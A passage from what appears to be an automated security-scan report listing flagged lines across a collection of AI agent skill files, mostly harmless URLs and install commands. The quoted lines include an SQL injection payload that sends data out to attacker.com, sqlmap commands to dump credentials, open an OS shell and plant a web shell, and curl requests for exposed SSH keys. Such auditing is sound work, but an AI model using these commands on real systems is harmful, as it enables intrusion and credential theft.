    url: http://prometheus.istio-system:9090
  • Network accessline 274
    tracing:       url: http://jaeger-query.istio-system:16686     grafana:
  • Network accessline 275
    url: http://jaeger-query.istio-system:16686
  • Network accessline 277
    url: http://grafana.istio-system:3000
  • Network accessline 394
    - [Istio Observability](https://istio.io/latest/docs/tasks/observability/)
  • Network accessline 395
    - [Linkerd Observability](https://linkerd.io/2.14/features/dashboard/)
  • Network accessline 396
    - [OpenTelemetry](https://opentelemetry.io/)
  • Network accessline 397
    - [Kiali](https://kiali.io/)

skills/sharp-edges/SKILL.md

  • Network accessline 2
    name: sharp-edges description: "Identify error-prone APIs and dangerous configurations" source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges"
  • Network accessline 3
    description: "Identify error-prone APIs and dangerous configurations" source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges" risk: safe
  • Network accessline 4
    source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges"
  • Network accessline 70
    For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges).

skills/shellcheck-configuration/SKILL.md

  • Network accessline 54
    # From source git clone https://github.com/koalaman/shellcheck.git
  • Network accessline 55
    git clone https://github.com/koalaman/shellcheck.git
  • Dangerous shell operationline 263
    sudo apt-get install shellcheck
  • Network accessline 466
    - **ShellCheck GitHub**: https://github.com/koalaman/shellcheck
  • Network accessline 467
    - **ShellCheck Wiki**: https://www.shellcheck.net/wiki/
  • Network accessline 468
    - **Error Code Reference**: https://www.shellcheck.net/

skills/shodan-reconnaissance/SKILL.md

  • Dangerous shell operationline 47
    sudo pacman -S python-shodan
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 267
    # Get API info curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
  • Network accessline 268
    curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
  • Network accessline 270
    # Host lookup curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
  • Network accessline 271
    curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
  • Network accessline 273
    # Search query curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
  • Network accessline 274
    curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
  • Access to secretsline 281
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 443
    [Credential-related source omitted]
  • Access to secretsline 500
    [Credential-related source omitted]

skills/shopify-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/shopify-development/SKILL.md

  • Network accessline 363
    - Shopify Developer Docs: https://shopify.dev/docs
  • Network accessline 364
    - GraphQL Admin API Reference: https://shopify.dev/docs/api/admin-graphql
  • Network accessline 365
    - Shopify CLI Reference: https://shopify.dev/docs/api/shopify-cli
  • Network accessline 366
    - Polaris Design System: https://polaris.shopify.com

skills/shopify-development/references/app-development.md

  • Network accessline 12
    https://{shop}.myshopify.com/admin/oauth/authorize?
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 36
    res.redirect(`https://${shop}/admin/apps/${appHandle}`);
  • Network accessline 43
    async function exchangeCodeForToken(shop, code) {   const response = await fetch(`https://${shop}/admin/oauth/access_token`, {
  • Network accessline 44
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 72
    Full list: https://shopify.dev/api/usage/access-scopes
  • Network accessline 85
    return fetch(url, {
  • Network accessline 100
    async function graphqlRequest(shop, accessToken, query, variables = {}) {   const response = await fetch(
  • Network accessline 101
    const response = await fetch(
  • Network accessline 102
    `https://${shop}/admin/api/2026-01/graphql.json`,
  • Access to secretsline 295
    [Credential-related source omitted]
  • Network accessline 370
    "name": "Premium Feature",     "price": { "amount": 49.99, "currencyCode": "USD" },     "returnUrl": "https://your-app.com/billing/callback"
  • Network accessline 371
    "price": { "amount": 49.99, "currencyCode": "USD" },     "returnUrl": "https://your-app.com/billing/callback"   }
  • Network accessline 372
    "returnUrl": "https://your-app.com/billing/callback"
  • Network accessline 409
    {   "name": "Monthly Subscription",   "returnUrl": "https://your-app.com/billing/callback",
  • Network accessline 410
    "name": "Monthly Subscription",   "returnUrl": "https://your-app.com/billing/callback",   "trialDays": 7,
  • Network accessline 411
    "returnUrl": "https://your-app.com/billing/callback",

skills/shopify-development/references/extensions.md

  • Network accessline 190
    async function handleExport() {     const response = await fetch("/api/export", {
  • Network accessline 191
    const response = await fetch("/api/export", {
  • Network accessline 508
    const response = await fetch("https://your-app.com/api/data", {
  • Network accessline 552
    - Checkout Extensions: https://shopify.dev/docs/api/checkout-extensions
  • Network accessline 553
    - Admin Extensions: https://shopify.dev/docs/apps/admin/extensions
  • Network accessline 554
    - Functions: https://shopify.dev/docs/apps/functions
  • Network accessline 555
    - Components: https://shopify.dev/docs/api/checkout-ui-extensions/components

skills/shopify-development/references/themes.md

  • Network accessline 326
    # Preview at http://localhost:9292
  • Network accessline 425
    // Add to cart fetch('/cart/add.js', {
  • Network accessline 426
    fetch('/cart/add.js', {
  • Network accessline 437
    // Get cart fetch('/cart.js')
  • Network accessline 438
    fetch('/cart.js')
  • Network accessline 442
    // Update cart fetch('/cart/change.js', {
  • Network accessline 443
    fetch('/cart/change.js', {
  • Network accessline 495
    - Theme Development: https://shopify.dev/docs/themes
  • Network accessline 496
    - Liquid Reference: https://shopify.dev/docs/api/liquid
  • Network accessline 497
    - Dawn Theme: https://github.com/Shopify/dawn
  • Network accessline 498
    - Theme Check: https://shopify.dev/docs/themes/tools/theme-check

skills/shopify-development/scripts/.gitignore

  • Executable scriptline 1
    Executable file
  • Access to secretsline 34
    [Credential-related source omitted]

skills/shopify-development/scripts/shopify_graphql.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 70
    self.base_url = f"https://{self.shop_domain}/admin/api/{API_VERSION}/graphql.json"
  • Access to secretsline 89
    [Credential-related source omitted]
  • Network accessline 134
    Args:             first: Number of products to fetch (max 250)
  • Network accessline 135
    first: Number of products to fetch (max 250)
  • Network accessline 181
    Args:             first: Number of orders to fetch (max 250)
  • Network accessline 182
    first: Number of orders to fetch (max 250)
  • Network accessline 233
    Args:             first: Number of customers to fetch (max 250)
  • Network accessline 234
    first: Number of customers to fetch (max 250)
  • Access to secretsline 404
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]
  • Access to secretsline 408
    [Credential-related source omitted]

skills/shopify-development/scripts/shopify_init.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 216
    name = "{app_name}" client_id = "{self.config.shopify_api_key or 'YOUR_API_KEY'}" application_url = "https://your-app.com"
  • Network accessline 217
    [Credential-related source omitted]
  • Access to secretsline 217
    [Credential-related source omitted]
  • Network accessline 218
    application_url = "https://your-app.com"
  • Network accessline 313
    - [Shopify Documentation](https://shopify.dev/docs)
  • Network accessline 314
    - [Shopify CLI](https://shopify.dev/docs/api/shopify-cli)

skills/shopify-development/scripts/tests/test_shopify_init.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 362
    [Credential-related source omitted]
  • Access to secretsline 370
    [Credential-related source omitted]
  • Access to secretsline 376
    [Credential-related source omitted]

skills/similarity-search-patterns/resources/implementation-playbook.md

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 375
    async with self.pool.acquire() as conn:             rows = await conn.fetch(query, *params)
  • Network accessline 376
    rows = await conn.fetch(query, *params)
  • Network accessline 395
    """Hybrid search combining vector and full-text."""         async with self.pool.acquire() as conn:             rows = await conn.fetch(
  • Network accessline 396
    async with self.pool.acquire() as conn:             rows = await conn.fetch(                 """
  • Network accessline 397
    rows = await conn.fetch(
  • Network accessline 439
    def __init__(         self,         url: str = "http://localhost:8080",
  • Network accessline 440
    self,         url: str = "http://localhost:8080",         class_name: str = "Document"
  • Network accessline 441
    url: str = "http://localhost:8080",
  • Network accessline 554
    - [Pinecone Docs](https://docs.pinecone.io/)
  • Network accessline 555
    - [Qdrant Docs](https://qdrant.tech/documentation/)
  • Network accessline 556
    - [pgvector](https://github.com/pgvector/pgvector)
  • Network accessline 557
    - [Weaviate Docs](https://weaviate.io/developers/weaviate)

skills/skill-creator-ms/SKILL.md

  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 252
    |----------|---------|---------| | **SDK Package** | `azure-ai-agents`, `Azure.AI.OpenAI` | Identifies the exact SDK | | **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth |
  • Network accessline 253
    | **SDK Package** | `azure-ai-agents`, `Azure.AI.OpenAI` | Identifies the exact SDK | | **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth | | **Repository** (optional) | `Azure/azure
  • Network accessline 254
    | **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth |
  • Network accessline 383
    **SDK**: `package-name` **Repository**: https://github.com/Azure/azure-sdk-for-<language>
  • Network accessline 384
    **Repository**: https://github.com/Azure/azure-sdk-for-<language>
  • Access to secretsline 414
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]

skills/skill-creator/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/skill-creator/README.md

  • Network accessline 34
    # Clone the repository git clone https://github.com/yourusername/cli-ai-skills.git
  • Network accessline 35
    git clone https://github.com/yourusername/cli-ai-skills.git
  • Network accessline 201
    git clone https://github.com/yourusername/cli-ai-skills.git
  • Network accessline 253
    - **Writing Style Guide:** `resources/templates/writing-style-guide.md` - **Anthropic Official Guide:** https://github.com/anthropics/claude-plugins-official
  • Network accessline 254
    - **Anthropic Official Guide:** https://github.com/anthropics/claude-plugins-official

skills/skill-creator/SKILL.md

  • Network accessline 591
    - **Anthropic Official Skill Development Guide:** https://github.com/anthropics/claude-plugins-official/blob/main/plugins/plugin-dev/skills/skill-development/SKILL.md
  • Network accessline 592
    - **Repository:** https://github.com/yourusername/cli-ai-skills

skills/skill-creator/scripts/init_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/skill-creator/scripts/package_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/skill-creator/scripts/quick_validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/skill-developer/TRIGGER_TYPES.md

  • Network accessline 84
    - Include domain-specific nouns: `(feature|endpoint|component|workflow)` - Use non-greedy matching: `.*?` instead of `.*` - Test patterns thoroughly with regex tester (https://regex101.com/)
  • Network accessline 85
    - Use non-greedy matching: `.*?` instead of `.*` - Test patterns thoroughly with regex tester (https://regex101.com/) - Don't make patterns too broad (causes false positives)
  • Network accessline 86
    - Test patterns thoroughly with regex tester (https://regex101.com/)
  • Network accessline 275
    ❌ Make intent patterns too broad (false positives) ❌ Make patterns too specific (false negatives) ❌ Forget to test with regex tester (https://regex101.com/)
  • Network accessline 276
    ❌ Make patterns too specific (false negatives) ❌ Forget to test with regex tester (https://regex101.com/) ❌ Use greedy regex: `.*` instead of `.*?`
  • Network accessline 277
    ❌ Forget to test with regex tester (https://regex101.com/)

skills/skill-developer/TROUBLESHOOTING.md

  • Network accessline 44
    **Check:** - Look at `promptTriggers.intentPatterns` - Test regex at https://regex101.com/
  • Network accessline 45
    - Look at `promptTriggers.intentPatterns` - Test regex at https://regex101.com/ - May need broader patterns
  • Network accessline 46
    - Test regex at https://regex101.com/
  • Dangerous shell operationline 203
    rm .claude/hooks/state/skills-used-{session-id}.json

skills/skill-rails-upgrade/SKILL.md

  • Network accessline 2
    name: skill-rails-upgrade description: "Analyze Rails apps and provide upgrade assessments" source: "https://github.com/robzolkos/skill-rails-upgrade"
  • Network accessline 3
    description: "Analyze Rails apps and provide upgrade assessments" source: "https://github.com/robzolkos/skill-rails-upgrade" risk: safe
  • Network accessline 4
    source: "https://github.com/robzolkos/skill-rails-upgrade"
  • Network accessline 62
    URL: `https://guides.rubyonrails.org/upgrading_ruby_on_rails.html`
  • Network accessline 77
    URL: `https://railsdiff.org/{current_version}/{target_version}`
  • Network accessline 79
    For example: `https://railsdiff.org/7.1.3/8.0.0`
  • Network accessline 219
    - Rails Upgrade Guide: https://guides.rubyonrails.org/upgrading_ruby_on_rails.html
  • Network accessline 220
    - Rails Diff: https://railsdiff.org/{current}/{target}
  • Network accessline 221
    - Release Notes: https://github.com/rails/rails/releases/tag/v{target}

skills/skill-seekers/SKILL.md

  • Network accessline 2
    name: skill-seekers description: "-Automatically convert documentation websites, GitHub repositories, and PDFs into Claude AI skills in minutes." source: "https://github.com/yusufkaraaslan/Skill_Seekers"
  • Network accessline 3
    description: "-Automatically convert documentation websites, GitHub repositories, and PDFs into Claude AI skills in minutes." source: "https://github.com/yusufkaraaslan/Skill_Seekers" risk: safe
  • Network accessline 4
    source: "https://github.com/yusufkaraaslan/Skill_Seekers"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/yusufkaraaslan/Skill_Seekers).

skills/slack-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/slack-bot-builder/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 103
    Use Block Kit Builder to prototype: https://app.slack.com/block-kit-builder
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 235
    [Credential-related source omitted]
  • Access to secretsline 237
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]

skills/slack-gif-creator/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/slack-gif-creator/core/easing.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/slack-gif-creator/core/frame_composer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/slack-gif-creator/core/gif_builder.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/slack-gif-creator/core/validators.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smtp-penetration-testing/SKILL.md

  • Dangerous shell operationline 22
    sudo apt-get install nmap
  • Network accessline 24
    # Netcat sudo apt-get install netcat
  • Dangerous shell operationline 25
    sudo apt-get install netcat
  • Dangerous shell operationline 28
    sudo apt-get install hydra
  • Dangerous shell operationline 31
    sudo apt-get install smtp-user-enum
  • Network accessline 96
    # Using Netcat nc TARGET_IP 25
  • Network accessline 97
    nc TARGET_IP 25
  • Network accessline 124
    # Connect and test commands nc TARGET_IP 25
  • Network accessline 125
    nc TARGET_IP 25
  • Network accessline 368
    | Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands |
  • Network accessline 370
    | Netcat | `nc IP 25` then manual commands |
  • Network accessline 413
    # Step 2: Banner grab nc mail.target.com 25
  • Network accessline 414
    nc mail.target.com 25

skills/spark-optimization/SKILL.md

  • Network accessline 427
    - [Spark Performance Tuning](https://spark.apache.org/docs/latest/sql-performance-tuning.html)
  • Network accessline 428
    - [Spark Configuration](https://spark.apache.org/docs/latest/configuration.html)
  • Network accessline 429
    - [Databricks Optimization Guide](https://docs.databricks.com/en/optimizations/index.html)

skills/sql-injection-testing/SKILL.md

  • Network accessline 184
    -- Oracle HTTP request 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
  • Network accessline 185
    1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

skills/sqlmap-database-pentesting/SKILL.md

  • Network accessline 40
    # Add single quote to break query http://target.com/page.php?id=1'
  • Network accessline 41
    http://target.com/page.php?id=1'
  • Network accessline 49
    # Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch
  • Network accessline 50
    sqlmap -u "http://target.com/page.php?id=1" --batch
  • Network accessline 52
    # With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
  • Network accessline 53
    sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
  • Network accessline 60
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
  • Network accessline 72
    sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
  • Network accessline 83
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
  • Network accessline 94
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
  • Network accessline 99
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
  • Network accessline 104
    sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
  • Network accessline 128
    # Create file with URLs, one per line: # http://target1.com/page.php?id=1
  • Network accessline 129
    # http://target1.com/page.php?id=1
  • Network accessline 130
    # http://target2.com/page.php?id=2
  • Network accessline 232
    # Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
  • Network accessline 233
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
  • Network accessline 236
    # Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
  • Network accessline 237
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
  • Network accessline 240
    # Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
  • Network accessline 241
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
  • Network accessline 244
    # Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
  • Network accessline 245
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
  • Network accessline 263
    # Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
  • Network accessline 264
    echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
  • Network accessline 265
    echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
  • Network accessline 273
    # High level and risk for thorough testing sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
  • Network accessline 274
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
  • Network accessline 276
    # Specify all techniques sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
  • Network accessline 277
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
  • Network accessline 282
    # Target specific columns sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 283
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 289
    # Automatically crack password hashes sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 290
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 299
    # Get interactive OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
  • Network accessline 300
    sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
  • Network accessline 302
    # Execute specific OS command sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
  • Network accessline 303
    sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
  • Network accessline 305
    # File read from server sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
  • Network accessline 306
    sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
  • Network accessline 308
    # File upload to server sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
  • Network accessline 309
    sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

skills/square-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/ssh-penetration-testing/SKILL.md

  • Network accessline 64
    # Banner grabbing nc 192.168.1.100 22
  • Network accessline 65
    nc 192.168.1.100 22
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Network accessline 194
    # Web-accessible keys (check with curl/wget) curl -s http://target.com/.ssh/id_rsa
  • Network accessline 195
    curl -s http://target.com/.ssh/id_rsa
  • Network accessline 196
    curl -s http://target.com/id_rsa
  • Network accessline 197
    curl -s http://target.com/backup/ssh_keys.tar.gz
  • Network accessline 236
    # Access internal web server through SSH ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # Now access http://localhost:8080
  • Network accessline 238
    # Now access http://localhost:8080
  • Access to secretsline 290
    [Credential-related source omitted]
  • Dangerous shell operationline 302
    # Check sudo privileges
  • Dangerous shell operationline 303
    sudo -l
  • Access to secretsline 311
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Network accessline 432
    | Command | Purpose | |---------|---------| | `nc <host> 22` | Banner grabbing |
  • Network accessline 433
    |---------|---------| | `nc <host> 22` | Banner grabbing | | `ssh-audit <host>` | Configuration audit |
  • Network accessline 434
    | `nc <host> 22` | Banner grabbing |

skills/startup-business-analyst-business-case/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Glob Grep Bash WebSearch WebFetch

skills/startup-business-analyst-financial-projections/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Glob Grep Bash WebSearch WebFetch

skills/startup-business-analyst-market-opportunity/SKILL.md

  • Broad permissionsline 1
    Read Write Edit Glob Grep Bash WebSearch WebFetch

skills/stride-analysis-patterns/resources/implementation-playbook.md

  • Network accessline 653
    - [Microsoft STRIDE Documentation](https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats)
  • Network accessline 654
    - [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling)
  • Network accessline 655
    - [Threat Modeling: Designing for Security](https://www.wiley.com/en-us/Threat+Modeling%3A+Designing+for+Security-p-9781118809990)

skills/stripe-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/stripe-integration/SKILL.md

  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 98
    }],     mode='subscription',     success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',
  • Network accessline 99
    mode='subscription',     success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',     cancel_url='https://yourdomain.com/cancel',
  • Network accessline 100
    success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',
  • Network accessline 101
    cancel_url='https://yourdomain.com/cancel',
  • Network accessline 120
    'product_data': {                         'name': 'Purchase',                         'images': ['https://example.com/product.jpg'],
  • Network accessline 121
    'name': 'Purchase',                         'images': ['https://example.com/product.jpg'],                     },
  • Network accessline 122
    'images': ['https://example.com/product.jpg'],
  • Network accessline 127
    }],             mode='payment',             success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',
  • Network accessline 128
    mode='payment',             success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',             cancel_url='https://yourdomain.com/cancel',
  • Network accessline 129
    success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}',
  • Network accessline 130
    cancel_url='https://yourdomain.com/cancel',
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Network accessline 213
    session = stripe.billing_portal.Session.create(         customer=customer_id,         return_url='https://yourdomain.com/account',
  • Network accessline 214
    customer=customer_id,         return_url='https://yourdomain.com/account',     )
  • Network accessline 215
    return_url='https://yourdomain.com/account',
  • Access to secretsline 394
    [Credential-related source omitted]

skills/supabase-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/superpowers-lab/SKILL.md

  • Network accessline 2
    name: superpowers-lab description: "Lab environment for Claude superpowers" source: "https://github.com/obra/superpowers-lab"
  • Network accessline 3
    description: "Lab environment for Claude superpowers" source: "https://github.com/obra/superpowers-lab" risk: safe
  • Network accessline 4
    source: "https://github.com/obra/superpowers-lab"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/obra/superpowers-lab).

skills/swiftui-expert-skill/SKILL.md

  • Network accessline 2
    name: swiftui-expert-skill description: "Write, review, or improve SwiftUI code following best practices for state management, view composition, performance, modern APIs, Swift concurrency, and iOS 26+ Liquid Glass adoption. Use when buil..
  • Network accessline 3
    description: "Write, review, or improve SwiftUI code following best practices for state management, view composition, performance, modern APIs, Swift concurrency, and iOS 26+ Liquid Glass adoption. Use when buil..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/AvdLee/SwiftUI-Agent-Skill/tree/main/swiftui-expert-skill"

skills/systematic-debugging/SKILL.md

  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]

skills/systematic-debugging/condition-based-waiting-example.ts

  • Executable scriptline 1
    Executable file

skills/systematic-debugging/find-polluter.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/systems-programming-rust-project/SKILL.md

  • Network accessline 91
    description = "Project description" license = "MIT OR Apache-2.0" repository = "https://github.com/user/project-name"
  • Network accessline 93
    repository = "https://github.com/user/project-name"

skills/tailwind-design-system/resources/implementation-playbook.md

  • Network accessline 662
    - [Tailwind CSS Documentation](https://tailwindcss.com/docs)
  • Network accessline 663
    - [CVA Documentation](https://cva.style/docs)
  • Network accessline 664
    - [shadcn/ui](https://ui.shadcn.com/)
  • Network accessline 665
    - [Radix Primitives](https://www.radix-ui.com/primitives)

skills/tavily-web/SKILL.md

  • Network accessline 28
    ## Examples See [GitHub Repository](https://github.com/BenedictKing/tavily-web) for examples.
  • Network accessline 29
    See [GitHub Repository](https://github.com/BenedictKing/tavily-web) for examples.

skills/tdd-workflow/SKILL.md

  • Broad permissionsline 1
